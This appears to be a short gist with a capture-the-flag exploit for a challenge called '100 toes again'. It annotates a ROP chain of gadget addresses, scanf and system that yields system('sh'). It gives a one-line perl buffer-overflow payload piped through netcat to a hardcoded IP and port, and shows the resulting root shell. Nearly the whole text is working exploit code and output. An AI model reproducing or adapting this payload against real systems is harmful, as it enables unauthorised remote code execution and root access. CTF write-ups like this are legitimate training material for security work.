Created
July 26, 2016 18:10
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100 toes again exploit
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# | |
# ROP explanation: | |
# 0x00401bd3 pop rdi / ret | |
# 0x00401e29 "%d" → rdi | |
# 0x00401bd1 pop rsi / pop r15 / ret | |
# 0x00603124 some writable memory in .bss → rsi | |
# 0 → r15 | |
# 0x004006f0 jmp scanf (to read our data into memory at 0x00603124) | |
# 0x00401bd3 pop rdi / ret | |
# 0x00603124 now contains data we control → rdi | |
# 0x00400680 jmp system | |
# | |
# "26739" is 0x00006873 which is 'sh\0\0' | |
# Effect: system("sh"); | |
# | |
# Initially used "%s" and "bash", but apparently orgas' socat wrapper didn't like \x13 char: instantly dropped the connection. Had to switch to "%d" and 26739 | |
# | |
(perl -e 'print"1\n";print"A"x152;print"\xd3\x1b\x40\x00\0\0\0\0\x29\x1e\x40\x00\0\0\0\0\xd1\x1b\x40\x00\0\0\0\0\x24\x31\x60\x00\0\0\0\0\0\0\0\0\0\0\0\0\xf0\x06\x40\x00\0\0\0\0\xd3\x1b\x40\x00\0\0\0\0\x24\x31\x60\x00\0\0\0\0\x80\x06\x40\x00\0\0\0\0\n10\n26739\n"' ; cat -) | nc -nv 52.209.77.134 9999 | |
# id | |
id | |
uid=0(root) gid=0(root) groups=0(root) | |
## (and yeah, you get a root-shell and no flag on the box :<) |
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